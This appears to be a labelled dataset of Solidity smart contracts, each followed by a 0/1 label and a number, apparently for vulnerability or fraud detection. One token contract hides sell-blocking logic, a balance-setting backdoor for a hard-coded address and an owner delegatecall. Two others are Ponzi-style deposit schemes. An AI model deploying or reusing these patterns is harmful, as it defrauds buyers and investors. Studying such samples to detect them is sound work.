pragma solidity ^0.4.24; contract Compoundex { mapping (address => uint256) invested; mapping (address => uint256) atBlock; function () external payable { if (invested[msg.sender] != 0) { uint256 amount = invested[msg.sender] * 4 / 100 * (block.number - atBlock[msg.sender]) / 5900; address sender = msg.sender; sender.send(amount); } atBlock[msg.sender] = block.number; invested[msg.sender] += msg.value; } }
0
870
pragma solidity ^0.4.15; library SafeMath { function add(uint a, uint b) internal returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } } contract MuxeToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public tokensBurnt; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; event Burn(uint tokens); function MuxeToken() public { symbol = "MUXE"; name = "MUXE Token"; decimals = 18; _totalSupply = 10000000000 * 10**uint(decimals); tokensBurnt = 0; balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - tokensBurnt; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } function burn(uint tokens) onlyOwner public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); tokensBurnt = tokensBurnt.add(tokens); Burn(tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
1
4,493
pragma solidity ^0.5.0; pragma experimental ABIEncoderV2; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract IERC721 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) public view returns (uint256 balance); function ownerOf(uint256 tokenId) public view returns (address owner); function safeTransferFrom(address from, address to, uint256 tokenId) public; function transferFrom(address from, address to, uint256 tokenId) public; function approve(address to, uint256 tokenId) public; function getApproved(uint256 tokenId) public view returns (address operator); function setApprovalForAll(address operator, bool _approved) public; function isApprovedForAll(address owner, address operator) public view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public; function checkFeeDistributionPercentage(address[] memory _fee_receivers, uint256[] memory percentage) public; function getFeePercentage() public view returns (uint256); function getDeployer() public view returns (address); function getFeeReceivers() public returns(address[] memory); function getFeeDistribution(address fee_receiver) public returns(uint256); function stake(uint256 tokenId, address _stakingAddress) public; function clearStake(uint256 tokenId) public; } contract Context { constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; return msg.data; } } library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } contract OperatorRole is Context { using Roles for Roles.Role; event OperatorAdded(address indexed account); event OperatorRemoved(address indexed account); Roles.Role private _operators; constructor () internal { } modifier onlyOperator() { require(isOperator(_msgSender()), "OperatorRole: caller does not have the Operator role"); _; } function isOperator(address account) public view returns (bool) { return _operators.has(account); } function _addOperator(address account) internal { _operators.add(account); emit OperatorAdded(account); } function _removeOperator(address account) internal { _operators.remove(account); emit OperatorRemoved(account); } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return _msgSender() == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract OwnableOperatorRole is Ownable, OperatorRole { function addOperator(address account) external onlyOwner { _addOperator(account); } function removeOperator(address account) external onlyOwner { _removeOperator(account); } } contract TransferProxy is OwnableOperatorRole { function erc721safeTransferFrom(IERC721 token, address from, address to, uint256 tokenId) external; function erc721clearStake(IERC721 token, uint256 tokenId) external; function erc721Stake(IERC721 token, uint256 tokenId, address stakingAddress) external; } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20TransferProxy is OwnableOperatorRole { function erc20safeTransferFrom(IERC20 token, address from, address to, uint256 value) external; } contract ExchangeV1 is Ownable { using SafeMath for uint; struct DistributionItem { address _address; uint256 _amount; } TransferProxy public transferProxy; ERC20TransferProxy public erc20TransferProxy; mapping (address => mapping(uint256 => uint256)) public buyOrder; mapping (address => mapping(uint256 => address)) public auctionOrder; mapping (address => mapping(uint256 => mapping(address => mapping(address => uint256)))) public bidOrder; mapping (address => mapping(uint256 => address[])) public bidMembers; uint256 public listingFee = 15 * 10** 15; uint256 public serviceFee = 25; address payable public serviceAddress; address public caribmarsAddress; mapping (address => mapping (uint256 => bool)) public tokenStakings; mapping (address => mapping (uint256 => uint256)) public stakingBlockNumbers; uint256 public farmFeePerBlock = 1; uint256 public farmTokenAmount = 100000; address public governanceAddress; constructor( TransferProxy _transferProxy, ERC20TransferProxy _erc20TransferProxy ) public { transferProxy = _transferProxy; erc20TransferProxy = _erc20TransferProxy; serviceAddress = _msgSender(); } function exchange( address sellToken, uint256 sellTokenId, address owner, address buyToken, uint256 buyValue, address buyer ) payable external { require(owner == _msgSender(), "Exchange: The only token owner can accept bid."); validateBidRequest(sellToken, sellTokenId, buyer, buyToken, buyValue); uint256 serviceFeeAmount = buyValue.mul(serviceFee).div(1000); uint256 amount = buyValue - serviceFeeAmount; address[] memory fee_receivers = IERC721(sellToken).getFeeReceivers(); uint256 feePercentage = IERC721(sellToken).getFeePercentage(); if (feePercentage == 0) { transferProxy.erc721safeTransferFrom(IERC721(sellToken), owner, buyer, sellTokenId); erc20TransferProxy.erc20safeTransferFrom(IERC20(buyToken), buyer, owner, amount); } else { DistributionItem[] memory distributions = getDistributions(sellToken, owner, fee_receivers, feePercentage, amount); transferProxy.erc721safeTransferFrom(IERC721(sellToken), owner, buyer, sellTokenId); for (uint256 i = 0; i < distributions.length; i++) { if (distributions[i]._amount > 0) { erc20TransferProxy.erc20safeTransferFrom(IERC20(buyToken), buyer, distributions[i]._address, distributions[i]._amount); } } } if (serviceFeeAmount > 0) { erc20TransferProxy.erc20safeTransferFrom(IERC20(buyToken), buyer, serviceAddress, serviceFeeAmount); } CancelAllBid(sellToken, sellTokenId, buyToken); auctionOrder[sellToken][sellTokenId] = address(0); } function getDistributions(address sellToken, address owner, address[] memory fee_receivers, uint256 feePercentage, uint256 amount) internal returns (DistributionItem[] memory) { DistributionItem[] memory distributions = new DistributionItem[](fee_receivers.length + 1); uint256 feeAmount = amount.mul(feePercentage).div(100); uint256 total = 0; for (uint256 i = 0; i < fee_receivers.length; i++) { total += IERC721(sellToken).getFeeDistribution(fee_receivers[i]); } for (uint256 i = 0; i < fee_receivers.length; i++) { uint256 distributionAmount = 0; { distributionAmount = IERC721(sellToken).getFeeDistribution(fee_receivers[i]) * feeAmount; } { distributionAmount = distributionAmount / total; } distributions[i] = DistributionItem(fee_receivers[i], distributionAmount); } distributions[fee_receivers.length] = DistributionItem(owner, amount - feeAmount); return distributions; } function buy( address sellToken, uint256 sellTokenId, address owner, uint256 buyValue, address buyer ) payable external { validateBuyRequest(sellToken, sellTokenId, buyValue); uint256 serviceFeeAmount = buyValue.mul(serviceFee).div(1000); uint256 amount = buyValue - serviceFeeAmount; address[] memory fee_receivers = IERC721(sellToken).getFeeReceivers(); uint256 feePercentage = IERC721(sellToken).getFeePercentage(); if (feePercentage == 0) { transferProxy.erc721safeTransferFrom(IERC721(sellToken), owner, buyer, sellTokenId); address payable to_address = address(uint160(owner)); to_address.send(amount); } else { DistributionItem[] memory distributions = getDistributions(sellToken, owner, fee_receivers, feePercentage, amount); transferProxy.erc721safeTransferFrom(IERC721(sellToken), owner, buyer, sellTokenId); for (uint256 i = 0; i < distributions.length; i++) { if (distributions[i]._amount > 0) { address payable to_address = address(uint160(distributions[i]._address)); to_address.transfer(distributions[i]._amount); } } } if (serviceFeeAmount > 0) { serviceAddress.transfer(serviceFeeAmount); } buyOrder[sellToken][sellTokenId] = 0; } function BuyRequest(address token, uint256 tokenId, uint256 amount) public payable { require(IERC721(token).getApproved(tokenId) == address(transferProxy), "Not approved yet."); require(IERC721(token).ownerOf(tokenId) == msg.sender, "Only owner can request."); require(msg.value == listingFee, "Incorrect listing fee."); buyOrder[token][tokenId] = amount; } function AuctionRequest(address token, uint256 tokenId, address buytoken) public payable { require(IERC721(token).getApproved(tokenId) == address(transferProxy), "Not approved yet."); require(IERC721(token).ownerOf(tokenId) == msg.sender, "Only owner can request."); require(msg.value == listingFee, "Incorrect listing fee."); auctionOrder[token][tokenId] = buytoken; } function CancelBuyRequest(address token, uint256 tokenId) public { require(IERC721(token).getApproved(tokenId) == address(transferProxy), "Not approved yet."); require(IERC721(token).ownerOf(tokenId) == msg.sender, "Only owner can request."); buyOrder[token][tokenId] = 0; } function validateBuyRequest(address token, uint256 tokenId, uint256 amount) internal { require(buyOrder[token][tokenId] == amount, "Amount is incorrect."); } function BidRequest(address sellToken, uint256 tokenId, address buyToken, uint256 amount) public { require(IERC20(buyToken).allowance(msg.sender, address(erc20TransferProxy)) >= amount, "Not allowed yet."); require(auctionOrder[sellToken][tokenId] == buyToken, "Not acceptable asset."); bidOrder[sellToken][tokenId][msg.sender][buyToken] = amount; bidMembers[sellToken][tokenId].push(msg.sender); } function validateBidRequest(address sellToken, uint256 tokenId, address buyer, address buyToken, uint256 amount) internal { require(bidOrder[sellToken][tokenId][buyer][buyToken] == amount, "Amount is incorrect."); } function CancelBid(address sellToken, uint256 tokenId, address buyToken) public { bidOrder[sellToken][tokenId][msg.sender][buyToken] = 0; for (uint256 i = 0; i < bidMembers[sellToken][tokenId].length; i++) { if (bidMembers[sellToken][tokenId][i] == msg.sender) { bidMembers[sellToken][tokenId][i] = bidMembers[sellToken][tokenId][bidMembers[sellToken][tokenId].length - 1]; bidMembers[sellToken][tokenId].pop(); break; } } } function CancelAllBid(address sellToken, uint256 tokenId, address buyToken) internal { while (bidMembers[sellToken][tokenId].length != 0) { address member = bidMembers[sellToken][tokenId][bidMembers[sellToken][tokenId].length - 1]; bidOrder[sellToken][tokenId][member][buyToken] = 0; bidMembers[sellToken][tokenId].pop(); } } function CancelAuctionRequests(address sellToken, uint256 tokenId, address buyToken) public { require(IERC721(sellToken).getApproved(tokenId) == address(transferProxy), "Not approved nft token."); require(IERC721(sellToken).ownerOf(tokenId) == msg.sender, "Only owner can request."); CancelAllBid(sellToken, tokenId, buyToken); auctionOrder[sellToken][tokenId] = address(0); } function setListingFee(uint256 fee) public onlyOwner { listingFee = fee; } function depositBNB() public payable { require(msg.value > 0, "The sending amount must be greater than zero."); } function withdrawBNB(address payable receiver, uint256 amount) public onlyOwner payable { require(receiver != address(0), "The receiver must not be null address."); require(amount > 0, "The amount must be greater than zero."); receiver.transfer(amount); } function setCaribMarsAddress(address _caribmarsAddress) public onlyOwner { require(_caribmarsAddress != address(0), "Not allowed to set zero address."); caribmarsAddress = _caribmarsAddress; } function setGovernanceAddress(address _governanceAddress) public onlyOwner { require(_governanceAddress != address(0), "Now allowed to set zero address."); governanceAddress = _governanceAddress; } function clearStake(IERC721 token, uint256 tokenID) public { require(tokenStakings[address(token)][tokenID] == true, "Not staked token."); require(IERC721(token).ownerOf(tokenID) == _msgSender(), "Not owner."); uint256 feeAmount = (block.number - stakingBlockNumbers[address(token)][tokenID]) * farmFeePerBlock; erc20TransferProxy.erc20safeTransferFrom(IERC20(caribmarsAddress), _msgSender(), governanceAddress, farmTokenAmount); IERC721(token).clearStake(tokenID); erc20TransferProxy.erc20safeTransferFrom(IERC20(caribmarsAddress), governanceAddress, _msgSender(), feeAmount); tokenStakings[address(token)][tokenID] = false; } function stake(IERC721 token, uint256 tokenID) public { require(IERC721(token).ownerOf(tokenID) == _msgSender(), "Not owner."); transferProxy.erc721Stake(token, tokenID, address(this)); erc20TransferProxy.erc20safeTransferFrom(IERC20(caribmarsAddress), governanceAddress, _msgSender(), farmTokenAmount); tokenStakings[address(token)][tokenID] = true; stakingBlockNumbers[address(token)][tokenID] = block.number; } function setERC20TransferProxy(ERC20TransferProxy _erc20TransferProxy) public onlyOwner { erc20TransferProxy = _erc20TransferProxy; } function setTransferProxy(TransferProxy _transferProxy) public onlyOwner { transferProxy = _transferProxy; } }
0
502
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1461045492991056468287016484048686824852249628073)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,028
pragma solidity ^0.4.11; contract FundariaBonusFund { mapping(address=>uint) public ownedBonus; mapping(address=>int) public investorsAccounts; uint public finalTimestampOfBonusPeriod; address registeringContractAddress; address public fundariaTokenBuyAddress; address creator; event BonusWithdrawn(address indexed bonusOwner, uint bonusValue); event AccountFilledWithBonus(address indexed accountAddress, uint bonusValue, int totalValue); function FundariaBonusFund() { creator = msg.sender; } modifier onlyCreator { if(msg.sender == creator) _; } modifier onlyBonusOwner { if(ownedBonus[msg.sender]>0) _; } function setFundariaTokenBuyAddress(address _fundariaTokenBuyAddress) onlyCreator { fundariaTokenBuyAddress = _fundariaTokenBuyAddress; } function setRegisteringContractAddress(address _registeringContractAddress) onlyCreator { registeringContractAddress = _registeringContractAddress; } function setFinalTimestampOfBonusPeriod(uint _finalTimestampOfBonusPeriod) onlyCreator { if(finalTimestampOfBonusPeriod==0 || _finalTimestampOfBonusPeriod<finalTimestampOfBonusPeriod) finalTimestampOfBonusPeriod = _finalTimestampOfBonusPeriod; } function withdrawBonus() onlyBonusOwner { if(now>finalTimestampOfBonusPeriod) { var bonusValue = ownedBonus[msg.sender]; ownedBonus[msg.sender] = 0; BonusWithdrawn(msg.sender, bonusValue); msg.sender.transfer(bonusValue); } } function registerInvestorAccount(address accountAddress) { if(creator==msg.sender || registeringContractAddress==msg.sender) { investorsAccounts[accountAddress] = -1; } } function fillInvestorAccountWithBonus(address accountAddress) onlyBonusOwner { if(investorsAccounts[accountAddress]==-1 || investorsAccounts[accountAddress]>0) { var bonusValue = ownedBonus[msg.sender]; ownedBonus[msg.sender] = 0; if(investorsAccounts[accountAddress]==-1) investorsAccounts[accountAddress]==0; investorsAccounts[accountAddress] += int(bonusValue); AccountFilledWithBonus(accountAddress, bonusValue, investorsAccounts[accountAddress]); accountAddress.transfer(bonusValue); } } function setOwnedBonus() payable { if(msg.sender == fundariaTokenBuyAddress) ownedBonus[tx.origin] += msg.value; } }
1
3,840
pragma solidity ^0.4.24; contract Easy35Percent { address constant private PROMO = 0xa1B69B32D40925AB1b423020a9FA29E71Fa53E90; uint constant public PROMO_PERCENT = 15; uint constant public MULTIPLIER = 135; uint constant public MAX_DEPOSIT = 2 ether; uint constant public MIN_DEPOSIT = 0.01 ether; uint constant public LAST_DEPOSIT_PERCENT = 2; LastDeposit public last; struct Deposit { address depositor; uint128 deposit; uint128 expect; } struct LastDeposit { address depositor; uint expect; uint blockNumber; } Deposit[] private queue; uint public currentReceiverIndex = 0; function () public payable { if(msg.value == 0 && msg.sender == last.depositor) { require(gasleft() >= 220000, "We require more gas!"); require(last.blockNumber + 258 < block.number, "Last depositor should wait 258 blocks (~1 hour) to claim reward"); uint128 money = uint128((address(this).balance)); if(money >= last.expect){ last.depositor.transfer(last.expect); } else { last.depositor.transfer(money); } delete last; } else if(msg.value > 0){ require(gasleft() >= 220000, "We require more gas!"); require(msg.value <= MAX_DEPOSIT && msg.value >= MIN_DEPOSIT, "Deposit must be >= 0.01 ETH and <= 1 ETH"); queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100))); last.depositor = msg.sender; last.expect += msg.value*LAST_DEPOSIT_PERCENT/100; last.blockNumber = block.number; uint promo = msg.value*PROMO_PERCENT/100; PROMO.transfer(promo); pay(); } } function pay() private { uint128 money = uint128((address(this).balance)-last.expect); for(uint i=0; i<queue.length; i++){ uint idx = currentReceiverIndex + i; Deposit storage dep = queue[idx]; if(money >= dep.expect){ dep.depositor.transfer(dep.expect); money -= dep.expect; delete queue[idx]; }else{ dep.depositor.transfer(money); dep.expect -= money; break; } if(gasleft() <= 50000) break; } currentReceiverIndex += i; } function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){ Deposit storage dep = queue[idx]; return (dep.depositor, dep.deposit, dep.expect); } function getDepositsCount(address depositor) public view returns (uint) { uint c = 0; for(uint i=currentReceiverIndex; i<queue.length; ++i){ if(queue[i].depositor == depositor) c++; } return c; } function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) { uint c = getDepositsCount(depositor); idxs = new uint[](c); deposits = new uint128[](c); expects = new uint128[](c); if(c > 0) { uint j = 0; for(uint i=currentReceiverIndex; i<queue.length; ++i){ Deposit storage dep = queue[i]; if(dep.depositor == depositor){ idxs[j] = i; deposits[j] = dep.deposit; expects[j] = dep.expect; j++; } } } } function getQueueLength() public view returns (uint) { return queue.length - currentReceiverIndex; } }
1
2,690
pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract Coinvilla { string public name = "Coinvilla"; string public symbol = "CVA"; uint8 public decimals = 18; uint256 public totalSupply; uint256 public CoinvillaSupply = 3000000000; uint256 public buyPrice = 3086; address public creator; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event FundTransfer(address backer, uint amount, bool isContribution); function Coinvilla() public { totalSupply = CoinvillaSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; creator = msg.sender; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function () payable internal { uint amount = msg.value * buyPrice; uint amountRaised; amountRaised += msg.value; require(balanceOf[creator] >= amount); balanceOf[msg.sender] += amount; balanceOf[creator] -= amount; Transfer(creator, msg.sender, amount); creator.transfer(amountRaised); } }
1
5,056
